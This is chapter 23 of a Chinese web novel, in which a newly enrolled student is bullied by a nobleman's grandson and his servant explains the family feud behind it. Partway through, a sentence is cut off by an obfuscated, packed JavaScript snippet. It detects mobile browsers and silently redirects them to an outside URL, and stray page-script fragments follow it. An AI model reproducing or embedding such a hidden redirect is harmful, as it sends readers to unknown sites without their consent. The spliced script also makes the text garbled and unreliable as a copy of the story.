23. 上学·风波

作品:《孝子贤孙

    “岚兄改名字了?”


    终于熬到下学的栾世安迫不及待凑了上来,憋了一肚子的话如同机关枪一般往外突突,“什么时候的事,怎么连姓氏都变了?


    “方才你答不上来,我都急坏了,还好有四表哥接腔,夫子才不至于生气……


    “夫子也是的,一上来便为难你,什么姓氏源流世系的,连我都糊里糊涂,你一个新来的能知道些什么呀……


    “诶,岚兄读过百家姓没?要不要我——”


    “世安啊……”


    岚珏深陷重返校园的痛苦中,被栾世安念经念得脑袋发烫,颓丧着掐断了他的话头,“咱们晚点再聊行么,我现在,不,我今天都不想说话了……”


    “噢,”栾世安挠挠后脑勺,余光觑着梁蕴行大步出了学堂,连忙道,“那我同四表哥在院里等你,咱们一道回府,你快些过来。”


    “嗯嗯嗯……”


    岚珏今天只让阿门进了书塾,叫四喜留在外院候着。


    眼下阿门正在慢吞吞地收拾书桌,岚珏从他笨拙的动作看出——这哥俩确实没近身伺候过人。


    但他也不急,刚刚的丢人已经叫他的心满是疲惫,就这么呆坐着放空一下也是好的……


    “哟,岚小公子怎么自己落下了?”


    一道嘲讽意味十足的声音自岚珏头顶响起,岚珏懒懒撩起眼,瞥见几个公子哥朝他走来,为首的已经站定在他身旁。


    那人长得倒不差,三庭五眼都在一个还算过得去的比例上,头顶宝石金冠,周身服饰堪称奢华,手中还握着一把镶着象牙的折扇,附庸风雅般摇着晃着。


    他打量了岚珏几眼,蓦地轻蔑一笑,恨不得以鼻孔看人。


    “也难怪,远亲远亲,远了便不算亲戚了,”他喉间一嗤,“想来岚小公子为了在杨学究的课上霸占一席之地,也是下了血本才傍上梁家这棵大树吧。”


    “……”岚珏懒洋洋地睨着他,眼底尽是不耐,再三权衡之下还是忍下了说脏话的冲动,只没好气地回了句,“你谁?”


    “你不认得我?”


    那人似没料到岚珏这般疏狂,有些惊诧,又自觉十分没脸,折扇一收眉毛一竖,“尔等贱商之子,能与我同门一场已是大幸,竟敢同我这般说话?当真是反了天了!”


    岚珏皱着眉打量着这号人,表情愈发不耐烦,若是段小续或苗兰在这就该看出来,他下一秒要么口吐芬芳,要么说出那句经典名言——


    “你是人民币吗谁都要认识你?”


    但他见这人态度嚣张,貌似来头不小,自己又官司缠身,多一事不如少一事,正巧阿门收拾停当,他伸了个懒腰缓缓起身,斜眼白了那人一下,抬腿要走。


    “慢着——”


    几名喽啰凑上去将他拦住,那人盯着他冷笑一声,“没规矩的乡巴佬,谁让你走了?”


    岚珏深吸一口气咽下,偏过头,似笑非笑地睨着那人。


    “那你想怎样呢,不知名少爷?”


    他语气堪称吊儿郎当,“我给你唱个曲儿说个书,顺便再给你来个全套马杀鸡怎样啊?!”


    “什么马什么鸡……你!你讽刺我!”


    那纨绔听不懂岚珏的话,只从他表情看出这话绝不是好话,表情蓦地阴狠起来,“狗仗人势的玩意,你给我说清楚再走!”


    “我说你个鸡蛋灌——”


    “公子!”


    四喜闻声而入,匆匆挡在岚珏身前,脸颊因急促而微微泛红。


    他喘了口气,先冲那人行了个规规矩矩的礼,又冲其他喽啰福了福身,礼毕方道,“戚公子见谅,我家公子前几日方从尹州上京,还未来得及拜谒京中的贵人,一时认不出您也是情有可原,望戚公子不要怪我家公子才好。”


    又微微侧身,偏头向岚珏介绍,“公子,这位是戚老太师的嫡孙,戚姚戚公子,这几位也是京中达官贵人们的嫡子嫡孙。”


    他讪笑着看了看两边,试图打圆场道,“都是误会,望诸位公子看在同门一场的情分上,莫要记在心上,”


    “哼,”戚姚见终于来了个明白人,冷冷瞥了一眼,却发现是个熟面孔,“嘶,你是那个,那个——”


    “戚公子好记性。”


    四喜低头回话,语气极尽乖顺,“小的是梁家家生子,原是伺候四少爷的,现如今是岚公子的人了。”


    “噢——”


    戚姚笑了笑,又白了岚珏一眼,轻蔑之意溢于言表,“你家倒高风亮节,不嫌穷亲戚多,还把近随送出去,好吃好住地伺候着。”


    “你特么有完——”


    “公子们都累了吧!”


    四喜死死按下岚珏往前闯的冲动,机敏的目光在戚姚和喽啰们身上逡巡,“天干物燥,诸位哥儿火气重,因一点小事在书院里闹起来,传到学究耳中终究不好听。


    “不若诸位都先回府里歇息?”


    他端着笑,小心翼翼地铺好台阶,“改日我家公子定送拜帖上门,携礼相访,还望诸位贵人届时不要推拒才是。”


    戚姚眼一转眉一挑,似乎终于想起这不在自家地盘,凌人气焰当即灭了大半,又见梁家连四喜这样的仆奴都能给了岚珏,想来他远房亲戚的身份也并非自己想象的那般任人揉捏。


    他垂眸思索片刻,蓦地将手一背。


    “得了,今儿个小爷也累了,便不同这不识趣的人计较了。”


    他转身要走,又将将停下脚,回头盯着岚珏眯了眯眼,“不过你这位子怎么来的,你心里有数,往后便该识趣些,别触我的霉头,否则——”


    他冷笑一声,带着一群跟班呼啦啦出了学堂。


    ·


    “操,这人谁呀!!!”


    岚珏生等着那群人没了踪影才爆出一句粗口,他感觉自己耐心真是越来越好了,都被欺负到头上了还没动手,“他特么有病吧!!!”


    四喜刚要张嘴,却见岚珏狠狠地踢了下自己的桌凳,把杵在边上的阿门吓得一抖。


    “你听见他刚刚说什么了吗?”


    岚珏气红了脸,面朝四喜抬手指着戚姚离去的方向,“他什么意思?什么位子什么穷亲戚,关他屁事啊我说?


    “这人是个傻波一吧!要不是你刚拦着我我非得——”


    “公子消消气,消消气!”


    四喜连忙上前顺了顺岚珏的后背,压低嗓子道,“我的祖宗诶,您轻点声,别叫那起子纨绔听见了,回头又寻你麻烦。”


    “我怕他?”


    岚珏撸起袖子,“我巴不得他现在回来,看我不给他揍得满地找牙!”


    “别,公子千万别动手!”四喜又慌又急,连忙招呼阿前带上东西,推着岚珏出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337442|183380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了门。


    “也怪我不好,明知戚公子是个不知天高地厚的小霸王,却没提醒您当心他,”四喜叹了口气,“我知道戚公子爱犯浑,却没想到他敢公然在学堂里冲您发难,当真是——”


    “你别怪自己!”岚珏气鼓鼓地往前疾行,边走边骂,“神经病做事哪有什么逻辑可言?你什么都能预判,那干脆到街上去算命得了,酬劳说不定比梁家给你的翻三倍!”


    “呃……”


    四喜见岚珏此时还护着自己,心一软,凑近了道,“公子叫我别怪自己,那公子也得消消气才是,没得叫这疯子气坏了身子,当真不值。”


    “气坏倒不至于,但这姓戚的到底什么情况?”


    岚珏简直莫名其妙,“他是针对我,还是针对插班生?每个新入学的人都要被他这样,阴阳怪气一通吗?”


    “插班生?”


    四喜眼珠一转,明白了岚珏的意思,苦笑道,“非也,戚公子贸然冲您发难,是有原因的。”


    “什么原因?他是神经病?”岚珏翻了个白眼。


    四喜想笑又不敢笑,压着嗓子道,“他的小舅子,戚家少夫人的嫡亲弟弟陈小公子,曾托戚家的关系,想拜入学究门下读书。


    “然则这陈公子秉行恶劣,在苻州老家欺男霸女、行事不端之事人尽皆知,自然也传到了学究的耳朵里。


    “学究一口回绝了戚公子,转头便应下四少爷,让您跟着上学……您说,戚公子能不气吗?”


    “……”


    岚珏无语了,这也行?


    “还有一事,虽是陈年旧事,但估摸着戚公子也一并把账算到您头上了。”


    四喜顿了顿,让阿门先走几步探路,他则左顾右盼,确认四下无人后才道,“小的原不该妄议主子之事,可戚公子既先发制人,小的也不得不同您提上一嘴。


    “戚家大姑娘,原是要说给咱大少爷做正头夫人的,却被大相公和夫人双双拒了。”


    “?”


    岚珏听得眼睛都大了,“还有这回事!”


    四喜点头,“是。紧接着大少爷就娶了大少夫人,满城轰动……可依小的看,即便世家大户都在说梁家的闲话,戚家却是该庆幸没把女儿嫁进来的,毕竟强扭的瓜不甜,大少爷也绝不会看上那姑娘……殊不知经此一事,戚家同梁家的龃龉仿佛更深了,当真是叫人困惑至极。”


    “有啥困惑的,他们就觉得自己地位超然,梁家不选他们就是梁家不给面子呗!”


    岚珏对这家人的品行嗤之以鼻,捞起布兜在手里甩来甩去,“果然啊,神经病是会遗传的,你看戚姚那个仗势欺人的鸟样,就知道他有爹生没爹教,一家人都是那副德行。”


    四喜扯了扯嘴角,“总而言之,自那以后,戚家同梁家不和便成了满汴都都知道的事,听说在朝堂上也——”


    似乎意识到自己不该妄议朝政,四喜连忙闭嘴,想想又叹了口气。


    “戚老太师告老隐退,后人亦无济世之才,戚家日渐凋零,是忌惮梁家的威势才把这口恶气生生咽下去的。”


    他忧心忡忡地看向岚珏,“可如今,您来了。”


    “再没有比一个五服之外,看似无足轻重的远房亲戚更好拿捏的软柿子了……”他又叹了口气,“真不知这戚少爷还要闹到什么份上,才肯善罢甘休啊……”